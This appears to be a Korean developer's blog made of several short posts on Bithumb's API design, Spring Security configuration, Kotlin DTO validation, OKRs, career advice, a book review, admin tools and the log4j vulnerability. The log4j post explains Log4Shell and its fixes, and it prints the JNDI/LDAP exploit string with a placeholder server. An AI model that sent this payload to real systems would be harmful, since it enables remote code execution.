빗썸 API를 보면 형기증이 나…

어지럽다.. 아니 형기증은 어지러운게 아니지

이거보고 이상한게 안 느껴지는 사람은 API싸개에 적합하지 않으니
진로를 바꾸기 바랍니다

  • https://api.bithumb.com/public/ticker/all_btc
  • https://api.bithumb.com/public/assetsstatus/BTC

나머지는 취향차이로 둘 수 있는데
참을 수 없는게 딱 2가지 있다

SpringSecurity – 실패한 DSL(javaconfig)

원래 스프링시큐리티는 구조가 단순하다.

Filter가 하나 등록된다

public class FilterChainProxy extends GenericFilterBean

public class DefaultFilterChainValidator implements FilterChainProxy.FilterChainValidator

public interface SecurityFilterChain

ChainOfResponsibility패턴으로 구현된 FilterChain….

그리고 이 Chain에서 순차적으로 Filter를 실행시킨다.으로 인증필터 몇개 넣어준 다음
Request들어올 때 마다 반복문 돌려서 주소패턴 match되면 처리해주는거

  1. WebAsyncManagerIntegrationFilter
  2. SecurityContextPersistenceFilter
  3. HeaderWriterFilter
  4. CsrfFilter
  5. LogoutFilter
  6. UsernamePasswordAuthenticationFilter
  7. DefaultLoginPageGeneratingFilter
  8. DefaultLogoutPageGeneratingFilter
  9. BasicAuthenticationFilter
  10. RequestCacheAwareFilter
  11. SecurityContextHolderAwareRequestFilter
  12. AnonymousAuthenticationFilter
  13. SessionManagementFilter
  14. ExceptionTranslationFilter
  15. FilterSecurityInterceptor
https://www.javadevjournal.com/spring-security/spring-security-filters/
https://docs.spring.io/spring-security/reference/6.0.0-M3/servlet/architecture.html#servlet-filterchainproxy

대강 앞에서 막아줄거 막고 -> Authentication -> Principal threadlocal에 쑤셔박기 -> 꺼내서 Authorization하는 구조

좀 복잡한 필터가 몇개 있는데 사실 간단하게 구현해도 되는 부분이 많다.
UsernamePasswordAuthenticationFilter 등등 몇가지에서 너무 많은걸 자동으로 해주려다 보니 과도하게 복잡해진게 있긴한데.. 그래도 쓸만했었다

DSL이 나오기 전까지는…

프레임워크 자체도 조금 개선이 필요하다고 생각하는데
(UserDetails에 기본User를 생성해놓는다던가…하는 구현체를 너무 많이 만들어놓는것)
그래도 꽤 좋았는데

Java Config DSL에다가 Springboot Autoconfiguration까지 들어가니까…

또 스프링에서 자동으로 해주겠다고 하다가 망한 케이스

처음에 xml로 하나하나 더 설정 할 때는 혼란이 없었다.

설정 해 놓은대로
순차적으로 설정된 필터가 몇개인지
어떤게 설정되어 있는지 보였으니까
오류가 발생하면 어디서 발생했는지 이름만 봐도 바로 알 수 있었다.

그런데 JavaConfig는?

이게 몇년전쯤 쓰던 SpringSecurity 자바설정파일인데 이걸 보고 뭐가먼저 동작할지 예상이나 할 수 있을까


@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
	http
			.csrf().disable()
//좆같은거 추가
		.anonymous().and().anonymous().and().csrf().and()
			.authorizeRequests()
			//resource
			.antMatchers("/favicon.ico", "/vendor/**", "/static/**").permitAll()
			.antMatchers("/", "/home", "/join").permitAll()
			.antMatchers("/console/*").permitAll()
			.antMatchers("/user/join").anonymous()
			.anyRequest().authenticated()
			.and()

			.headers()
			.addHeaderWriter(new StaticHeadersWriter("X-Content-Security-Policy", "script-src 'self'"))
			.frameOptions().disable()
			.and()

			.formLogin()
			.loginPage("/login")
			.permitAll()

			.and()

			.logout()
			.permitAll();
}

	@Bean
	public DbUserDetailsService userDetailsService() {
		return new DbUserDetailsService();
	}

	@Bean
	public BCryptPasswordEncoder passwordEncoder() {
		return new BCryptPasswordEncoder();
	}

	@Bean
	public DaoAuthenticationProvider authenticationProvider() {
		DaoAuthenticationProvider bean = new DaoAuthenticationProvider();
		bean.setUserDetailsService(userDetailsService());
		bean.setPasswordEncoder(passwordEncoder());
		return bean;
	}

	@Autowired
	public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
		auth
				.authenticationProvider(authenticationProvider());
//				메모리 로그인으로 적용시 사용.
//				.inMemoryAuthentication()
//				.withUser("user").password("password").roles("USER");
	}
}

내 코드에서 이정도 설정을 했지만
WebSecurityConfigurerAdapter에서 또 뭔가 존나게 해놨다

이 설정을 보면 /login이 로그인 페이지로 간다는건 대강 눈치챌 수 있지만 몇번째 필터에서 돌아가는지 알 수 있을까? 문제가 발생하면 디버깅이나 로그를 존나 훑어봐야알 수 있게 된다.
스프링 시큐리티에서는 이런식으로 문제가 발생한다.

결론?

스프링시큐리티는 수동으로 하나하나 설정해서 쓰자
어차피 한번 만들어놓으면 계속 쓰니까
이미 JavaConfig(DSL)로 선언 해 놓은것들도 다 하나하나 생성하는 방식으로 만들어야된다고 생각한다.

https://docs.spring.io/spring-security/reference/6.0.0-M3/servlet/architecture.html#servlet-filterchainproxy

Kotlin 때문에 드러난 SpringFramework DTO Validation의 문제점

발견

  • Kotlin: Validation-Mapping
  • Java: Mapping-Validation

기존에 Java만 사용 할 때는 아무 문제가 없었다
자바 dto는 null이건 뭐건 상관이 없었으니까
일단 값을 처넣은(Mapping) 다음에 Validation을 한다

@Data
class PersonRequestDto {
    @NotEmpty
    @Size(min=1, max=30)
    private String name;
    @NotNull
    @Min(15)
    private Int age;
    @NotNull
    private String phone;
}
data class PersonRequestDto(
    @NotEmpty
    @Size(min=1, max=30)
    val name: String,
    @NotNull
    @Min(15)
    val age: Int,
    @NotNull
    val phone: String?,
)

여기서 코틀린을 자바처럼 하면 어떨게 될까?

오류가 난다
NotNull이 다 무의미해진다
Lombok의 @NonNull을 쓰는것처럼 변수 대입자체가 안되니까

그럼 어차피 안 들어가니까 상관없는거 아닌가?? 라고생각할 수 있지만
validation result 자체를 활용하려고 하거나 전체값의 데이터를 다 확인하고 싶은경우에 그게 불가능하다

해결방안

일단 현재로써는 없다

스프링에서 Validation을mapping 전에 해야하는데
이걸 바꿀 수 있을까….
힘들어보이는데

다른 프레임워크의 경우에는 request body에서validation을 처리하면 되지 않으려나

DTO에 설정되어 있는 field, annotation 스캔해서
json을 validation

코틀린에서 조금 부족하지만 쓸만한 벨리데이션툴이 있다

  • https://github.com/rcapraro/kalidation
  • https://github.com/konform-kt/konform

스타트업에서 OKR 설정하기

구글도 페이스북도 OKR로 성공했다고 한다
유니콘, 데카콘은 다 이걸 한다고?
이거 시크릿과 비슷하다고도 할 수 있도?
OKR만 하면 성공하는건가?
한화그룹금융계열과 SK도 OKR을 도입했다고?

유행하던 경영기법이 조금씩 변해왔는데
제조업 중심에서는 식스 시그마
요즘같은 인간 관리와 동기부여가 중요한 시기에 대두되는게
OKR이다

그런데 OKR책을 봐도 기사를 검색 해 봐도
존나 애매한 소리만 가득하다.
이럴거면 KPI에서도 실패를 용인하고 상향식 목표결정을 하면 다를게 없지 않나?

이게 OKR검색하면 또는 책을봐도 제일 많이 나오는 말인데…

목표는 달성 어렵고 가슴 떨리게

그냥 이것만 봐도 우리나라에서 OKR이 얼마나 병신같이 사용될지 가늠할 수 있다.
KPI와 다를게 없겠지

제대로 활용하려면 좀 더 구체적으로 사례를 보는게 낫다

페이스북의 OKR

: A user is engaged if they reach 7 friends in 10 days.
사용자 가입후 연결한다 7명의 친구 10일 이내에

왜 이 목표가 설정되었는가?
이용 통계를 뜯어보니 열흘 안에 페친이 일곱명 이상인 사람들은
페이스북을 안 떠나고 계속 머물렀다

이 OKR를 달성하기 위해서 할 것은?
이걸 각 부서-팀-개인적으로 결정해서 목표를 위해 움직인다

KPI였다면?
이런 느낌의 목표보다는 조금 전사적인 느낌의 목표가 설정된다

기존사용자가 7명의 친구를 초대한다. 기존 100만명 사용자에 추가 700만 800만의 사용자를 확보한다.
그리고 이를 달성하기 위해 사용자 친구초대 이벤트를 시행

추가 다른 회사의 OKR

  • Slack: 2000 messages sent between a team
  • Zynga: User returns 1 day after signing up
  • Facebook: User connects with 10 friends within 7 days
  • Dropbox: One file in one Dropbox folder on one device
  • Twitter: X users followed, Y% followed back
  • LinkedIn: X connections in Y days

OKR 법칙 재정의

  • 사용자에게 보여줘도 당당할 수 있는
  • 데이터에 기반한
  • 핵심적인 가치를 증대시킬 수 있는
  • 고객-직원-회사 모두에게 관련된 목표

이런게 기준이 되야한다고 생각한다

상향식이고 하향식이고는 상관없다고 보고 적절한 목표가 제시되기만 하면 된다
어차피 대부분 사람들은 그런 인사이트가 없다

자칫 KPI스타일의 목표를 세우기 쉬운데 아래같은건 아니라고 본다

  • 글로벌 서비스를 위한 최소 기능을 개발한다
  • 매출 100억을 달성한다
  • 회원 10만을 달성한다

이런KPI스타일의 목표는 달성하기 위해 병신같은 짓을 할 가능성이 높다.
옛날 골드뱅크같은걸 예로들면
회원 100만명을 확보한다 – 이를 위해서 회원1인당 가입리워드를 5000원을 주고 추천할 경우 5000원을 더 준다.
이렇게 하면 회사가??? 망하겠지
물론 그 회원을 이용해서 뭔가를 성공적으로 한다면 망하지 않을수도 있지만
보통은 다 망했다.

너무 개발적인 목표

  • Spring최신버전으로 비동기 MSA 아키텍처를 구현한다
  • Pull Request를 활용한 코드리뷰 시스템을 정착시킨다

개발부서의 서브 목표가 될수도 있겠지만
OKR은 서비스 자체에 집중할 필요가 있다고 생각한다

[개발자가]회사에서 절대 맡으면 안 되는 업무

일반 행정사무직에서 예시

이걸 개발자에 적용 해 보면?

1 쉽지만 중요한거 개발하기

FocusBoard
중요도
긴급도
1사분면을 떼서

파급력 X축
난이도 Y
1사분면 파급력 +, 난이도 + 필수업무
2사분면 파급력 -, 난이도 + 하지마!!!
3사분면 파급력 – , 난이도 – 시간낭비
4사분면 파급력 +, 난이도 – 거저먹기.. 일도 못하는데 인정받는 사람

상호평가가 없는 회사에서는 4번만 주서먹기가 될 것같기는한데… 실력이 안 늘어서 장기적으로는 안되겠지?
1번과 4번의 조화가 좋아보인다
가끔은 3번도.
2번은 회사에서 아예 필요없는 일일 가능성이 높다

2 핵심기능 개발하기

위랑 좀 겹치는 것 같은데

떨거지 모듈 개발하지 말것
예를들어
배달의민족의 개발자라면
(이런게 있는지 없는지 모르지만)
레거시로 남은 php 어드민기능이라던가 이런거 하지 말라는 것
도메인 분야로 보면
로봇배송, 배송관리, 결제, 정산 다 중요하니까 괜찮음

보통 개발자는 PHP는 할 줄 모른다고 하는게 이롭다
PHP전문개발자는 특화분야로 높은 연봉을 받기도 하지만.. 곁다리 PHP개발 경력은 정말 쓸모없고 성가시기만 하다.

3 남들 다 실패해서 퇴사하는 어려운거 하지말기

담당자가 왜 나갈까

남들은 다 병신이라 못했을까

업무가 쉬운데 처리가 안된다면 다 사정이 있다.
연동해야 할 대상이 좆같거나

4 내가 완성할 수 없는거 떠맡지 말기

원래 업무는 조금 어려운 도전적인 정도가 딱 좋은데
신입이나 2~3년차로 들어갔는데 팀장이라고 주고 프로젝트를 떠맡긴다??
바로 퇴사각~
밤새고 같이 고생해서 완성을 할 수도 있긴한건데
대학생도 아니고 ㅋ 잘 하는 사람 하나만 있어도 업무진행이 다르다.

원래 아무것도 모를 때 남한테 배우기가 제일 쉽다. 일정이상 경력이 쌓이면 나보다 잘하는 사람 찾기도 힘들게 되는 경우가 많으니
(부분적으로 서로 가르쳐주고 하지만 다 뛰어난 사람은 없다)

하지만 신입때는 그냥 거의 모든게 나보다 뛰어난 사람이 넘쳐난다
그래서 신입 때 잘 배울 수 있는데루 가라는것…지름길

5 반복 노가다 업무

개발자도 반복업무가 상당히 많은데

무슨 쿼리 뽑아달라던가
이메일 추출해달라던가 하는거

이런건 업무협의를 잘 하거나
시간을 따로 잡아서 개발을 하면
대부분 업무 자체를 없애버릴 수 있다

오브젝트objects, 코드로 이해하는 객체지향 설계

내용이 너무 자바처럼 verbose하다

짧은 내용을 너무 길게 설명해서 지겨워서 볼 수가 없다.

ex) ch07. 객체분해 p216~217 2페이지는 대략 이정도로 표현할 수 있다

일반적으로 작업기억은 7개의 chunk를 가지고 있다. 즉, 한번에 기억할 수 있는 숫자는 7개까지로 아래 11개의 연속된 숫자를 한번에 기억할 수 있는 사람은 드물다

29689928269

하지만 아래처럼 변환하면?

2968-992-8269

한번에 인식 가능하고 외울수도 있다.
11자리 숫자를 한번에 기억했다면 아마도 무의식중에 숫자를 나눴을 가능성이 높다

이런식으로 큰 문제를 작은 문제로 분해decomposite하면 문제를 이해하기 쉽고 더 좋은 해결이 가능하다.

이거 볼 시간에 DDD, JPA를 보자.
그래도 시간이 남으면 매트릭스와 에일리언을 보자

Admin Visualization Tool

어드민 도구 종류

  • 챠트, 테이블 라이브러리 처럼 API를 사용하거나
  • 엘라스틱서치처럼 로그를 전달받아서 처리
  • 디비 접근권한을 열어주고 쿼리까지 날려서 볼 수 있게 해 주는 도구

생각해보면… 금융권에서 쓰는 마이플랫폼같은것도 비슷한 도구이긴 한데
뭐 깔아서 써야되는데 좆같다고 욕하는거였나
화면 뽑아내는데는 효율적이다

링크

  • http://retool.com
  • https://www.stackerhq.com
  • https://www.jetadmin.io
  • https://www.appgyver.com
  • https://uibakery.io
  • https://www.appsmith.com
  • https://budibase.com
  • https://tooljet.com

오픈소스도 몇 개 있고
완전 유료도 있고

log4j – 0 day vulnerability

logging for java – 이미 유행 좀 지났지만… 생각났던거 다시 정리
0 day vulnerability 는 개발자보다 공격자가 먼 알아낸 문제점으로
0일부터 현재까지 모든 날짜가 위험했다는 의미

참고

  • https://nakedsecurity.sophos.com/2021/12/10/log4shell-java-vulnerability-how-to-safeguard-your-servers/
  • https://blog.alyac.co.kr/4341
  • https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
  • https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08

해결법

며칠동안 난리났던 log4j 0-day vulnerability
– org.apache.logging.log4j:log4j-core:2.15.0 이하 버전에서 문제 발생
2.16으로 업글하거나
옵션값 수정 formatMsgNoLookup=true
log4j 다른 로거로 전환

log4j 다른 로거로 전환

log4j는 자바에서 제일 많이 쓰이던 로깅 라이브러리 였다?
아직도 쓰는건 대부분 레거시 시스템 아니었을까
몇 가지 의존성을 추가하면 logback등 다른 로거로 쉽게 전환이 가능게 되서
대부분 시스템은 전환이 완료되었을거다

요즘엔 로거를 별도로 구현하거나 선언하는 경우는 잘 없고
표준 로깅 인터페이스링 slf4j를 통해서 사용한다
구현체를 쉽게 교체할 수 있도록

스프의 경우 기본적으로 아래의 의존성을 가지고 있는데

implementation 'ch.qos.logback:logback-classic' // logback 기본
implementation 'org.slf4j:jul-to-slf4j' // jul 로거를 slf4j로 연결
implementation 'org.slf4j:log4j-over-slf4j' // log4j 로거를 slf4j로 연결

취약점 설명

이 취약점은 마인크래프트서버에서 처음 발견됐다고 한다
마인크래프트 채팅창에 특정 문자열을 입력하면
log4j에서 로깅하는 과정에
log.info(“user chatting {}”, chatting_message);
같은게 입력되면 jndi lookup 동작..
sql injection과 유사한 공격인데 꼭 막혀있어야 하는 부분인데 뚫려있었던게 문제

${jndi:ldap://서버접속주소}

이렇게 메시지를 보내면 코드를 실행시켜버린다.
애플리케이션이 root로 실행되고 있었다면 root도 획득 가능